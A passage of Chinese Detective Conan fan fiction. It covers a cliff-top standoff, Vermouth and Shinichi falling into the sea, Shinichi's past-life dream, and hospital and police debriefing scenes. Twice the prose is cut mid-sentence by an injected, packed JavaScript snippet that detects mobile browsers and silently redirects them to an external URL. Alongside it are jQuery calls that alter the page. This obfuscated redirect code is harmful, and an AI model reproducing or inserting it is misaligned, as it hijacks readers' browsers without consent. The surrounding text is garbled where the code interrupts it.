火光先是一团橘红,继而膨胀成炽白的球体。冲击波卷着碎石与铁片横扫十米半径,陆巡的前轮被掀离地面,整辆车像被巨手推了一把,侧滑着撞向岩壁。 油箱破裂,汽油被火星点燃,火舌“呼”地窜起三米高,映得断崖边如同白昼。 “不知名的朋友,你在旁边的树丛里,对吧!”怀亚特按下耳机,试图与赤井玛丽联系。工藤优作没办法和他们一样赶来现场,只好把玛丽的联系方式分享给CIA。他越过热浪和浓烟,看见贝尔摩德的剪影与断崖边缘重叠,像一把抵在世界咽喉的刀。 怀亚特的声音压得极低:“目标持人质位于断崖,风速7,建议11点钟方向射击。” 耳机里传来赤井玛丽的声音,带着爆炸后的嘶哑:“否决。她手里的是工藤新一。” 怀亚特咬了咬后槽牙,改口:“我知道!可是——” 热浪扑面而来,贝尔摩德的发梢被掀得猎猎飞舞,发丝末端瞬间卷曲。她却只是眯起眼,像欣赏一场廉价的烟火,唇角甚至带着一点孩子气的愉悦。 火光在她虹膜里跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137920|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,映出两粒细小的、燃烧的影子。 爆炸的回声还在山谷里滚动,她已经俯下身,嘴唇贴近新一的耳廓,声音轻得几乎被风声吞没,却足够让少年听得清清楚楚:“别担心,我只是炸了一辆车,提醒他们别靠太近。” 灼热的空气里,她呼出的气息却凉得像冰。 工藤新一趁此机会,仰头撞在了女人下颌上,随后手臂一扭,身子矮下来,钻出了她的威胁范围——但他又没有跑远,反而似有似无地挡着女人的身形,强装镇定拿已经没有了针剂的麻醉手枪对准她。 为什么要挡着她?在场其余人都如此想到。 工藤新一比在场任何人都明白贝尔摩德在组织里的特殊地位,也清楚如今剑拔弩张,一个弄不好,就是两败俱伤。他不想让己方折损,也不想让贝尔摩德就如此殒命——不管怎样,他得调停。 海风把爆燃后的焦糊味卷过来,像一层黏在皮肤上的铁锈。工藤新一心知肚明,如果贝尔摩德死在这里,那么刚刚被她掩护逃离的组织同伙、甚至那些见过她面容的孩子们,一个都不会活。作为白兰地实验室的唯一成功实验体,如果让“那位先生”来选,说不定宁可舍弃朗姆也要保她。 再说,就算是私心,他也不想让这位前世救了他无数次的女人就这么死去。 黑田兵卫再度喊话的话音还没出口,少年抬手,做了个“停”的手势。 那只稚嫩的手在火光里像一面残破的信号旗,竟让十几名公安同时压低了枪口。 “别开枪。” 新一的声音不高,却借着断崖的海风滚进每个人的耳蜗。 “她如果死在这里,组织会立刻启动‘清扫程序’——今晚在场的所有人,包括还前路未卜的孩子们,都会上名单——我们不能赌。” 贝尔摩德用拇指抹掉下颌的血线,笑得像夜色里裂开的瓷器:“Coolboy,原来你是为了继续利用我?” “是谈判。”新一喘了口气,“你活着,我们才有机会把今晚的伤亡压到最低。” 赤井玛丽在三十米外,枪口微垂。 她看见少年背脊绷得像一张拉满的弓——却把自己的心脏主动送进弓弦与目标之间。 “条件。”黑田兵卫终于开口,声音沉得像海底的礁石。 新一没有回头,目光锁住贝尔摩德。她低低地笑出声,舌尖抵着上颚,发出轻佻的“嗒”声:“Boy,你凭什么认为我会配——” 红外线瞄准镜的光忽然在她脸上逡巡。 工藤新一鼻梁上的镜片里,映出远处树林深处骤然亮起的第二团火光——不是爆炸,而是狙击镜片的反光。 枪声与海浪同时炸响。 少年扑向贝尔摩德的瞬间,世界在耳膜里碎成两半:一半是金属撕裂空气的尖啸,一半是心跳在胸腔里轰然倒数的鼓点。他义无反顾地冲了上去,推开怔愣住的女人,子弹擦破了他的侧腰,留下焦糊的味道,随后又穿过了女人的小臂。 幸好他还有那个“延迟伤痛”的代价,不至于在这里直接血流不止。 他起步太急、太快,身体没有落点,直接跨过了悬崖边矮矮的护栏。贝尔摩德的瞳孔骤然收缩,竟然来不及任何思考,下意识伸手抓住了他的手腕——然而自己也被带着俯身在了悬崖边缘。 工藤新一的身体则悬在崖外,贝尔摩德伤口处流出的血液顺着他们交叠的手臂滴落,在月光下划出一道极细的银线,随后坠入汹涌的浪花中。 远处一声轰鸣,随后骤雨不止。 “谁开的枪!”黑田兵卫在雨中怒吼。 怀亚特也没了那副冷静理智的模样,眯着眼、举枪面对那束激光传来的方向。几乎同时,赤井玛丽回头看了一眼刚刚发出枯枝碾碎声音的更高处。 血从贝尔摩德小臂的弹孔里涌出,伴着雨水滴在少年的袖口,像一条不肯停息的血色暗河。她却仿佛没有痛觉,五指仍死死扣住新一的手腕,仿佛那是她与世界之间最后一根细线。 海风把硝烟和雨水一起吹到她脸上,吹得她睫毛微颤。 “你……” 她声音很轻,像冰层下的第一声裂响。 自从那次小巷里的痛哭,贝尔摩德终于卸下了那层疯狂的釉色,瞳孔在火光里放大,映出少年被灰尘与汗水弄脏、又重新被雨水洗净的脸。她看见他唇角还在努力上扬,看见他眼底那一点明亮到近乎稚气的固执——那簇火,烧得她胸腔生疼。 “为什么……” 贝尔摩德想起多年前大火里那个被浓烟呛得流泪的小女孩,没人向她伸手;想起无影灯一次次落在身上,没人为她遮眼;想起那个傍晚她得知了所有真相,却没人能理解她沾满鲜血的手。她像个冻僵的旅人,已经行至末路、几乎要自暴自弃地毁在冰天雪地中,却忽然发现了一簇篝火,心脏几乎要跳出来。 “……为什么你要救我?” 工藤新一的身体还带着肾上腺素飙升后的脱力,他喘着粗气,仰头看着难得脆弱的“不老魔女”——这幅场景几乎与前世重合。 他的目光穿过她凌乱的发丝,穿过她眼底那层终年不化的厚重封闭,落在那个被层层伪装包裹、从未真正自由的灵魂上。 “哪有什么为什么?”他努力地笑,笑容亮得像破晓的第一缕阳光,“就像你也救了我一样,救人一命是根本不需要什么理由的。” 风雨乍歇。 44. 前世 风停了半拍。 崖顶的海雾贴着石面爬行,像一层半透明的纱,把远处探照灯的白光、警车的灯光、枪口幽蓝的金属光,全都揉成湿冷的颗粒,悬浮在空气里。 贝尔摩德的靴跟碾着碎石,每一下都带起细碎的“咯吱”声。碎石缝里渗出细小的水珠,把岩面涂成镜面,照出她执拗的倒影——皮衣裂口处翻卷的皮料像被撕开的夜色,边缘吸饱了血,变成乌亮的漆。 血从她臂弯内侧滚落,把最后一点温度也带走,却提醒着,她是活着的。 所有人屏息凝神,黑田兵卫那句“谁开的枪”的尾音也慢慢消弭无声之后,全场似乎就只剩下贝尔摩德右手五指紧扣的那截手腕——以及手腕以下,悬空二十米的工藤新一。 没人敢再向前半步。在他们的视角里,少年的命只在贝尔摩德一念之间——哪怕她刚刚救了他,他们也不敢赌——甚至从法律层面上也无从谴责。 “对,都别动。”贝尔摩德回过神,重新戴上面具,低声笑,“小心我松手哦。”然而手却握得更紧。 崖边的碎石被她鞋底碾得咯吱作响,随时可能崩落。 忽然—— “啾!” 第二声冷枪。 子弹从东南侧深处的树林钻出,直奔贝尔摩德。 赤井玛丽几乎在枪口焰闪起的同一秒偏转身体,飞快地朝着枪响处靠近,随后趁他不备,反手扣动扳机。 林子里传来人体倒下的闷响,隐蔽的角落里,一名黑衣狙击手的眉心炸开血雾。 ——放冷枪的当然不可能是自己人,这人便是先前阴了贝尔摩德一次、仍不死心的组织成员。 可子弹已出膛。 它擦过贝尔摩德右侧腰际,击中的瞬间,皮衣发出“嗤”的一声轻响,撕出了一道新的血槽。女人闷哼,膝盖一软,冲击力将她整个人往前推了半步,几乎也要越过栏杆。她靴跟下的碎石终于承受不住,哗啦啦滚下崖沿。 先前爆炸的冲击伤逐渐到了时效,工藤新一身体上慢慢浮现出伤痕和痛感。疼痛使他冷汗直流,他哑声说:“……放手吧。” “小孩子不能和大人提要求。”贝尔摩德咬牙,手却开始打滑。 血太滑了。 碎石太松了。 这一下,就算是隔着熊熊大火的公安们也看得出贝尔摩德的强弩之末。黑田兵卫高呼:“我们可以谈判,但先让我们把你们拉上来!” 贝尔摩德充耳不闻,偏头看了看波涛阵阵的深色海洋,然后再度看着男孩。明明头部都快充血、青筋暴起,她却笑了:“信我吗?” 没等工藤新一回应,她又说:“Boy,闭眼,马上就好。” 下一秒,她猛地收臂,把少年整个人揽进怀里,纵身跳崖。 二十米。 一秒半。 风在耳边拉响警报,他们与雨滴一同坠入海洋。 水下,工藤新一爆炸的伤痕终于彻底崩裂,他猛地咳出一口血,殷红的血雾在幽暗的水中绽开。 贝尔摩德一惊,用最后的力气托住男孩的后颈努力奔向岸边——少年眼神涣散,眼前模糊的夜色、悬崖上扭曲的火光都逐渐蒙上一层浓稠的黑雾。 工藤新一无力地合上了双眼。 耳畔,贝尔摩德那堪称惊慌的呼唤、岸上的兵荒马乱,都被水波一层层过滤成遥远的嗡鸣,最终只剩下气泡破裂的细碎声响,渐渐化作午夜冷雨敲打楼梯的滴答声。 “滴答……滴答……” 他看到了十六岁时,纽约的那场雨。 梦里的画面总是虚幻的,本不那么刻骨铭心的记忆尤甚。他那时尚未得知银发杀人魔便是贝尔摩德,更无从知晓贝尔摩德就是莎朗,因此记忆最深的竟然是那夜的雨。 那夜的雨很小、却极密。雨丝细得几乎成了雾,却又比雾更执拗,呼吸之间,甚至感觉得到水汽经过鼻腔,浸润整个肺腑,连心跳都带上了潮湿的回声。 莎朗那天执伞的身影出现在梦里,带着淡淡的悲戚。 “这个世界上真的有神明的存在吗?如果,这个世上真的有什么神的存在,那我们这些拼命生活的人就不会发生不幸了。至少,我可以肯定,天使是不会对我露出衷心的微笑的,一次也不可能。” 随后银发杀人魔的脸取代了女明星冷艳的面容。 工藤新一其实不太记得那晚他对那银发杀人魔说过什么了,对他来说,发自肺腑的真心话不需要雕琢,出口就像是风掠过耳畔,既没有重量,也没有必要收藏——就像他对服部说“推理不分高下”、对灰原说“逃是没有用的”——那些话在对方心里或许被反复摩挲、生出棱角,于他而言却显然没有记忆犹新的理由。 但他在梦里看见了那人的表情。 雨水沿着她伪装的银发滴落——面具能覆盖她的面容,却遮不住眼底猝然裂开的情绪——错愕、震动、甚至不可置信,仿佛少年人刚刚拆开了一枚深埋多年的哑雷。梦中那张面具与刚刚悬崖边贝尔摩德的脸重叠了:同样蹙起的眉头、微微颤抖的唇角,像两荡镜像的涟漪,隔着十几年岁月轻轻相撞。 她在想什么? 也许是错愕于小兰和他毫不犹豫伸出的手,也许是震动于少年少女近乎天真的理想主义,也许是不可置信,自己竟然真的还会被这段话触动。 但梦不会给他答案。梦只是稍作停留,紧接着奔向下一场回忆。 漫天细雨倏然凝滞,下一瞬碎作无影的灯光。空气骤然失温,风被关进玻璃囚笼,只剩刺鼻的酒精与消毒水味道在鼻腔里灼烧——是前世白兰地的实验室。 白兰地。论权力他在组织中比不过朗姆,然而他的地位却是无论如何也撼动不了的。他是真正的科学怪人——他做研究,研究的项目从来没有道德,每一项都劈开伦理的裂缝:人与兽类的嫁接、克隆人在培养舱里睁开水绿色的眼睛、被剪断第23对染色体后仍能微笑的婴儿…… 他的每一项成果都被世界唾骂,却也让权力者垂涎。于是,捣毁这间实验室的保密等级,竟高过最终决战本身。 所以无人知道贝尔摩德如何提前得知了消息,更无人知道她为何突然倒戈,替他们铺出一条生路。 这次出现在梦里的是她的侧影。 江户川柯南当时伏在降谷零背上,眼皮沉重得像灌了铅,却仍固执地半睁着。赤井秀一歪倒在旁边,指缝间渗出的血滴在地面,他本人却已经昏迷。 他们本是先遣潜入,拿到资料后却几乎被当场击中——枪栓拉响的刹那,贝尔摩德忽然转身,一把攥住柯南的手腕,带着他们钻进一条未标记的暗道,进到了他们未曾探查到的密室里。她的战术靴在金属楼梯上敲出急促的鼓点,金发被火光映成流动的汞。 而梦里,贝尔摩德跪在树林中,面前是一簇小小的篝火,火舌舔舐着空气,却照不亮她低垂的睫毛。 她一张一张地往火里送文件——泛黄的档案、胶卷、芯片,标记着“银色子弹”的大打文件,还有半张没撕干净的照片:泛黄的纸页上,数个一模一样的孩子麻木地对视着,脖颈后各自纹着编号。灰白的纸灰旋起,落在她手背,烫出转瞬即逝的红点,她却连睫毛都未颤动。 火焰每吞下一页,就发出细微的“嗤啦”声,仿佛潘多拉在盒底冷笑。 降谷零和江户川柯南就看着她一点一点地销毁文件,几近于默许。最后剩下的,只有无伤大雅的实验结论、对红方进攻有利的信息,以及宫野志保还在组织里时制作APTX-4869的全部数据材料。 最后一片纸页化成灰烬时,贝尔摩德怔怔地看着那堆火焰。江户川柯南竟从她倒映着火光的眼里读出了释然。 火舌慢慢扭曲,瞳孔里的橙红碎成千万颗金色光斑。光斑旋转、下坠,穿过林梢,穿过夜雾,穿过他伸出的手——最终凝成遥远山崖上真实的星群。他的记忆,终于又回到了决战那天。 贝尔摩德悬在崖边,风衣下摆被山风灌满,像一面褪色的旗。江户川柯南扑跪在崖沿,指尖只刚刚好触及她的手腕。 “抓住我啊!快点!” 但梦里的工藤新一抓不住她,记忆里的江户川柯南也同样没有抓住她。 贝尔摩德那时的表情近乎柔软,唇角甚至带着一点孩子气的弧度。 “你早已经救了我。这次就不必了——不要自责,我的珍宝。”她轻声说,声音散在风里。 说罢,她轻握了一下男孩僵在半空的手,然后坦然地仰面坠下山崖。她的长发与风衣同时扬起,像一朵逆向绽放的昙花,定格下来。 于是,梦境也像被剪断的胶片,最后一格画面骤然熄灯,坠入永夜。 “别睡,boy,别睡。” “别睡,坚持一下——该死。” 刺骨的冷意几乎把他整个冻僵,水声在耳廓里翻涌,像深海的耳鸣,又像贝尔摩德被风撕碎的低语。也许方才那场漫长的闪回,不过过去几分钟而已。 他几乎动不了,爆炸的余震终于开始在胸腔里回荡,脏器像被一只粗暴的手拧转;子弹擦过的那处创口汩汩冒血,温热,却很快被海风抽走温度——应该还没到一小时才对?这是,代价结束了吗? 他分不清。他甚至不知道刚刚过去了多久。 时间已经失去了刻度。他只剩下一副灌了铅的躯壳,疼得清晰,倦得昏沉。睡意是黑色的潮水,一下一下拍岸。他想睡,贝尔摩德的声音却像擂鼓一般支撑;他想醒,昏沉的头颅却又把他按倒下去。 贝尔摩德努力把男孩抱上岸,全身湿透。风挟着盐粒,刀子似的刮过她的脸,那一头被海水泡得发涩的黑发,此刻正一缕缕褪成湿漉漉的金。 ——克莉斯死后,她以为自己已经把“愧疚”这味药吞得够干净,连残渣都用酒精烧成了灰。可此刻,那些灰被腥咸的海风一吹,又死灰复燃,啄得她心口生疼。 她看得出来,男孩身上的伤、咳出的血,都是因为她在公路上炸掉的那辆货车和刚刚为她挡的枪——可以说,现在工藤新一所受的所有伤,都和她脱不了干系。 她甚至在考虑退路之前先拨打了急救电话。接线员的声音冷静而遥远,她懒得听,只是微微压低声音重复:“我要一辆急救车,流矢断崖下方海滩上,一个男孩,爆炸、枪伤、溺水……快点。” 挂断电话,世界忽然静得可怕。 “别睡,boy,别睡。”她似乎成年之后就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137921|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有哄过什么人,那些聚光灯下背得滚瓜烂熟的温柔台词,如今一句也想不起来,全被海水泡烂、被硝烟呛碎,只剩一句最笨拙的、干巴巴的重复:“醒一醒,我们已经从海里出来了,你不会有事的,别睡……” “该死……”她咬紧牙关,感觉不到疼痛一般跪坐在旁边的碎石海滩上。海水顺着她的手腕往下淌,混着血,在礁石滩上蜿蜒成细小的红溪。 工藤新一无知无觉地躺在那里,眼睛微微睁开了一道缝,却没有给她任何回应。 贝尔摩德咬住上嘴唇,嗫嚅着说:“……对不起。” 少年却在此刻动了动,忽然开始呛咳:“……噗咳咳咳咳咳,我……” 工藤新一费力睁开了眼,他的手指摸索着,最终落在她膝盖上,掌心滚烫得惊人,说出的话混着血和海水的气味:“我抓住你了……” 贝尔摩德一愣——他以为这是逮捕?还是…… 但她顺着他说:“对,你抓住我了。” 远处,救护车和警车的声音逐渐清晰,红□□光在海面碎成千万片。 “我得走了,cool boy。”她微笑,然后起身,嘴角却抖得不像话。她撕开背心捂住伤口,转身时,脚踝传来尖锐的刺痛——大概是刚刚奋力挣向岸边时扭到了——但她没停,一瘸一拐地融进尽头的黑暗。 工藤新一的意识也再一次模糊——或许他根本就没有醒过。身上的疼痛似乎已经麻木,在彻底沉进黑暗前,他听见一个熟悉到骨子里的声音: “新一!” 是老爸啊。 他嘴角极轻地弯了一下。疼痛、寒冷、愧疚、遗憾,在这一声呼唤里统统退远。世界变成温暖的、带着墨水香和旧书页味道的怀抱。 凌晨三点,米花综合医院。 “新一怎么样?” 诸伏夫妇和高明几乎是撞开安全门冲进来的,鞋底在地板上拖出几道湿印;藤峰有希子紧跟其后,坂本乙女的戏服还没换完,像只受惊的孔雀。 急诊走廊的顶灯白得发蓝,像一排冰刀悬在头顶,把每一道墙缝都照得惨亮。 工藤优作坐在最靠近手术室的那条长椅上,背影挺得笔直,像被钉在原地。西装下摆滴着水,在脚边积出一小滩暗色,裤腿全是泥点,膝盖处磨破了口,几分盐渍沾染在上面。 “怎么会这样?”藤峰有希子看起来比谁都着急,她盯住工藤优作,小声问:“那天就是在做危险的事,对不对?” 工藤优作沉默了一会儿,半晌,才从喉咙里挤出一句:“……都是我的错。” 诸伏英拓正拽着医生问情况,高明低声安抚着诸伏加奈,没人听见这句近乎忏悔的自语。只有有希子听见了。她上前一步,裙摆的纱扫过优作湿透的鞋尖,戏妆在灯下泛着不真实的珠光。 “什么你的错他的错,我问的是怎么了!”藤峰有希子的声音轻得像羽毛,却带着旧时舞台剧里审问世间的力道。 “车辆爆炸的冲击,还有……给人挡枪、坠崖、落水。”工藤优作看着手术室鲜红的大字,镜片后的眼睛布满血丝。说了大概的原因后,继续长久地沉默着。 有希子被这闷葫芦气得不轻,但也不忍继续问。木屐踏出脆响,她刚要转身去找那些一看就与此有关的黑衣警员,身后的手术室却忽然大开了房门。 走出来的护士高喊:“在场有没有A型血的志愿者!我们的血库告罄,病人急需输血!” 有希子几乎是条件反射地举手:“我——” 她的动作还没来得及做完,刚刚还像个雕塑一样的工藤优作一把攥住她的手腕,把她拉到楼梯间的角落。优作的掌心冷得像铁,力道大得她腕骨生疼。 然而工藤优作眼里的艰难却让她停下了挣扎。 “你不能输。” 工藤优作深吸了一口气,声音低而哑,像砂纸磨过玻璃,“你不能输。” “我为什么不能?”藤峰有希子回头去看护士,“优作你自己不也是A型……” “我也不能。” 藤峰有希子回头看的动作一下子慢了下来。她一点一点扭回头,看到走廊的灯光从门缝里漏进来,在优作脸上切出一道惨白的线。她心里忽然产生了一个极其荒唐的猜测。 “明明是同一种血型,可是你不能输血,我也不能……”有希子两只手攥成了一团,紧紧盯着自己的男朋友。 “‘你是老爸还是我是老爸’、‘妈妈应该叫我<新ちゃん>’……” 她的声音几乎成了气声:“……妈妈?” 工藤优作垂下眼,极轻地点了点头。 藤峰有希子踉跄半步,后背撞得消防栓箱“咣”一声响。眼泪来得猝不及防,在脸上冲出两道晶亮的沟。 没有惊呼,没有质疑,她就这么仰着脸默默地流泪。 仿佛她从来都知道一般。 45. 相安 手术室的门第三次打开时,窗外的天光已经亮得晃眼。 护士推着移动病床出来,薄被下的男孩小得可怜,氧气面罩在苍白脸颊上投下一圈淡青色的阴影。主刀医生摘下口罩,声音沙哑:“暂时脱离危险,转入ICU,再观察四十八小时。没有继发感染,就能挪去普通病房。” 一句话抽走了所有人绷紧的脊梁。 走廊长椅上,诸伏英拓揉了揉熬得通红的眼睛,先站起身:“高明,跟我下去打车。” 诸伏高明隔着窗子看了一眼病房里的男孩,点点头。 暮夏的阳光在台阶上铺了一层刺眼的白,出租车打着双闪停在路边。诸伏英拓替高明拉开车门,手掌顺势按在少年肩头——那肩骨已经初具成年人的棱角,却仍然在父亲宽厚的手掌下显得单薄。 “咱们出门的时候,景光就吵着要来,你回去好好安抚他。昨晚敢助君和零君也吓得不轻,凌晨咱们走得急,他们心里肯定也是七上八下——他们是客人,无论如何是我们失礼,你是主人,怎么解释、怎么安抚,你来拿主意。” 诸伏英拓的语气像在交代公务,目光里却藏着父亲对长子的信任与心疼。 高明垂眼,睫毛在眼睑投下一弯疲惫的阴影。 “……新一的情况,要告诉景光吗?” “你觉得他需要知道,就说。”诸伏英拓顿了顿,想起走廊里清一色的黑衣壮汉和刚刚赶到的几个外国人,补充,“别带他们来医院。这儿不适合孩子。爸爸妈妈今晚至少会有一个人回家,别怕。家里的吃饭问题就只好拜托你和敢助君了。” 诸伏高明点头,与父亲越发相似的凤眼经此一夜沉淀了更多的深沉。 “好。” 车门关闭,出租车缓缓滑出医院大门。 阳光透过车窗,在高明侧脸镀上一层淡金色的轮廓。他抬头望向工藤新一病房的方向,像是忽然有某种重量担在了肩上,没有使他感到压力,只是令他一步一步、落地有声。 把孩子们的事情交代过后,诸伏英拓转身回到医院住院处。由于情况特殊,日本公安单独征用了一间“临时会议室”——那里原是骨科的备病房,如今被公安稍加布置,门口守着两名便衣。 他抬手欲叩,却被一道低哑的声音截住。 “诸伏先生。” 工藤优作站在三步之外,西装外套脱下,形容依旧狼狈;藤峰有希子挨在他身侧,繁琐的戏服不知何时换成了临时买的不合身的套装,睫毛上还沾着卸妆油的残光。诸伏加奈跟在他们后面,顺势走到丈夫身边,和他一起看着这对年轻情侣。 诸伏英拓心里忽然闪出一分不合时宜的滑稽:这副模样,反倒是他们更像新一的父母了。 工藤优作深吸了一口气,笔直地弯下腰,开口:“关于新一这次……我作为他的临时监护人负有最大的责任。我向你们二位正式地道歉。”他赎罪般地鞠躬,旁边的有希子也跟着一起。 诸伏加奈下意识伸手,却在指尖碰到有希子肩膀的前一刻被英拓轻轻挡住,然后夫妻二人同时后撤了一步。 ——他们需要一个完整的弧度,让愧疚落地。若中途被截断,那愧疚的力道会反噬得更疼。 走廊尽头的窗没关严,风灌进来,吹得女士们的长发轻轻摇摆。 等他们的道歉落地,诸伏英拓说:“不必向我们道歉,优作君、藤峰君。我想,这件事情起因经过,稍后会有人说明——你们不必如此妄自菲薄,说起来,我和内子才是更不负责任的养父母啊。” 门口的便衣警员为他们打开“会议室”的门。半小时后,工藤优作、黑田兵卫和诺拉·加西娅亲自送他们出来。藤峰有希子也自请离开。 “抱歉。”工藤优作又一次说。 这场会议只是为了给作为工藤新一合法监护人的诸伏夫妇一个交代,至于事情的真相……没有人会告诉这一对普通人夫妻。 诸伏加奈紧了紧挽住丈夫的手。她心领神会,但依然选择接受这个或许虚假或许借口的解答。 在巨大的黑暗面前,在盛大的战斗边缘,普通人除了被卷入绞肉机,就只有无能为力。 而人世间最大的疾苦,就是无能为力。 那间房门打开又关闭,门口的警卫为它贴上了暂时的封条。诸伏夫妇相携着回到新一的病房外,隔着警卫与玻璃,继续在门外陪着那个似乎只是短暂停留在他们家、即将飞回属于他的蓝天、他的深渊的男孩。 “这个说法,真的能骗过去吗?”临时会议室里,诺拉站在窗边叹气。 “骗不过去的。”工藤优作在一旁说,“但他们只能接受。” 就在刚才,黑田兵卫用公事公办的语调把事件“复述”了一遍:工藤新一误闯了一起跨国人口贩运的收网行动,幕后网络盘根错节,细节不便透露。至于悬崖上那一幕,则被描成单纯的“歹徒挟持人质”。 没有组织、没有江户川、没有贝尔摩德,也没有除此之外一切与幕后相关的真相。 这说辞像一块被反复熨烫过的布,褶皱全被烫平,只剩下一层光滑得发冷的谎言。 诺拉手里的热咖啡在窗上凝出薄薄的水雾,她用指甲在窗雾上划了一道,水珠顺着裂痕滚落,像无声的嗤笑。 “的确,他们信不信无所谓,”她语气冷淡,眼神里却夹杂着不忍,“重要的是,他们只能把这份不信咽进喉咙,然后签字——呵,我们做的就是这样虚伪的工作啊。” “但不虚伪他们就会死。”黑田兵卫重新坐下来,招呼他们,“两位,请入座吧。” “现在有什么发现?”工藤优作迫不及待地问。 “首先是坏消息。”黑田兵卫眉头皱的能夹死苍蝇,“我们派去追车的分队,在盘山的第三个急弯被彻底甩掉。对方下了血本——至少两名狙击手提前埋伏,枪枪打胎。六辆警车全部报废,那六个孩子……我们没能追回。” 会议室里的空气瞬间凝固。 “第二个坏消息,我们没有发现有关贝尔摩德的任何踪迹。” “她跑得那么快吗?”工藤优作皱眉,“从新一和她坠崖到救护车抵达,这中间也就不过十五分钟的时间差。怎么会一点踪迹都没有?” 黑田兵卫:“的确如此,我想我们对贝尔摩德这一号人物了解的还是太少。实际上,她用的逃脱时间可能比我们想象的还要短,她很可能是在救护车到达前不到十分钟才离开的。” “优作先生应该知道,在得知新一君被挟持之后,救护车就已经在随时待命了,后续接到新一的也确实是我们准备的那一辆车。但接线员说,在2点36分,也就是新一坠崖后5分钟,他们接到了疑似贝尔摩德的求救电话。而我们的救护车赶到是在2点46分。” “的确不容小觑。”诺拉低头沉思,“但是,她既然还肯为了新一君拨打电话、白白浪费自己逃跑的时间,是不是说明有策反的可能性?” “不排除,但也不能太过期望。”怀亚特说,“也许只是在还新一君替她挡枪的人情。” 会议室里沉默了片刻,黑田兵卫再度开口:“但所幸也有好消息。第一,关于情报里提及的‘组织的松户基地’,我们的人全力搜寻,找到了蛛丝马迹,正在继续追查。但显然孩子们没有按照他们的原计划送往那里。第二,我们在流矢断崖东南侧的树林深处,找到了被‘好心人’留下的组织狙击手的尸体——对,就是朝着贝尔摩德连开两枪的那位。” “根据他身上的信息,我们能知道些东西。这个人是组织的准代号成员,是朗姆麾下,此次对贝尔摩德的偷袭就是朗姆的授意——不过有趣的是,朗姆本人的意思只是‘找点麻烦’,但这位仁兄估计是有些私人恩怨,先是把她引到投放了定时炸弹的那幢别墅里,又连着给她放冷枪,意图致其于死地。” “这说明黑衣组织并非铁板一块……听起来,派系纷争还不少?”工藤优作道。 “的确。就本次事件而言,我们就能看出三个派系:刚开始运送人质的是皮斯可集团,而后接手的是朗姆,贝尔摩德大概算是空降来的第三方……” 会议室的封条贴了三个小时之久,几人出来时,正午的热浪裹着消毒水的味道一齐涌进来。 “具体情况就是这样,我会按照我们刚刚的讨论继续后续行动。”黑田兵卫朝他们点点头,“关于新一君的事,我想还是等他身体恢复了,再一起说比较好。那孩子看上去不是个受人摆布的性子,就算是我们也一样。” 诺拉用手背挡了挡阳光,耳坠晃出一星冷光。“同意。”她顿了顿,缓和气氛一般补上一句,“毕竟,谁也不想被一个小侦探当面拆台。” 言罢,黑田兵卫转向工藤优作,眼里闪过一丝意味深长的笑:“那位一直隐藏在暗处的‘好心人’,能否赏脸见一面?我以日本公安的名义担保,绝不设局。” 优作抬手扶正眼镜:“还是等新一醒吧。” 他语气温和,却毫无转圜余地。赤井玛丽的联络方式就在他手机通讯录最底层,可盟友的信任与儿子的意愿,是他绝不会背弃的底线。 黑田兵卫没有再劝,只点头致意,带着下属快步穿过热浪。诺拉紧随其后。直到他们的背影消失在转角,藤峰有希子才从阴影里迎上来。 她手里攥着一张薄薄的检查单,纸角被汗浸得微卷。“医生调了档案,”她压低声音,睫毛在烈日下投出细碎的颤影,“新一距离上次检查——几乎一毫米都没长。” 热浪里,这句话像块冰,无声地掉进优作心里。他望向远处ICU的窗户,玻璃反射的阳光刺得人眼眶发涩。 “……那种药的副作用看来比我们想象的更顽固。”有希子轻声补完,“你有什么解决办法吗,优作?” “我不知道。但新一的确有完整的解药,而且并不担心不够。”工藤优作掐着眉心,“等他醒来再议吧,这件事是绝密——那孩子毕竟也已经是个成年人了。” 工藤新一在药物与创口的双重钳制下,昏沉了整整二十四个小时。 窗外的日影从东墙滑到西墙,又悄无声息地暗下去。心电监护的滴答声、输液泵的轻嘶、偶尔路过的推车轱辘,全都成了他梦里遥远的背景鼓点—— 咚。 咚。 咚。 他陷在一层又一层黑色的水里,每一次试图浮上水面,晕眩就像铅锚一样把他往下拽。于是时间被拉长成一条没有刻度的隧道,他在里面无声地坠落,听不见自己的心跳,只觉得身体被一寸寸冻成透明的冰。 直到第二十五个小时,隧道尽头忽然亮起一束极细的、针尖般的白光。 那光刺进来,带着消毒水的气味,带着有人轻轻喊他名字的颤音—— 新一。 冰面开始破裂,疼痛重新变得尖锐而真实。 他猛地吸了一口气,像第一次学会呼吸的婴儿,喉咙里滚出一声嘶哑的、几乎听不见的回应: “……嗯。” 半个月后,工藤新一才算彻底迈过“大伤初愈”的门槛。 佐藤正义碰巧也在米花综合医院养伤。听说小朋友中了枪,他拎起原本给女儿备着的零食,一瘸一拐地摸过来探病。公安认得出这位是警视厅的刑警,并未出面阻拦,只是暗处的便衣依旧无声巡梭。 “……我没什么大碍了,倒是佐藤警官,”工藤新一靠坐在床头,“听说您出了车祸?” 佐藤正义苦笑着把拐杖靠在墙边:“算是吧。当时在追人——就是那起银行抢劫案的主犯。”他顿了顿,声音低下去,“说来讽刺,嫌犯是我高中同学。我劝了他一路,明明已经同意自首了,他突然往马路中央冲,想一了百了。我只好扑过去……结果外人看上去,倒像是我被他甩出去的,幸好我一直盯着他,不然怕是要栽啊。” 他与男孩家长里短地聊了片刻,然后看了看时钟。 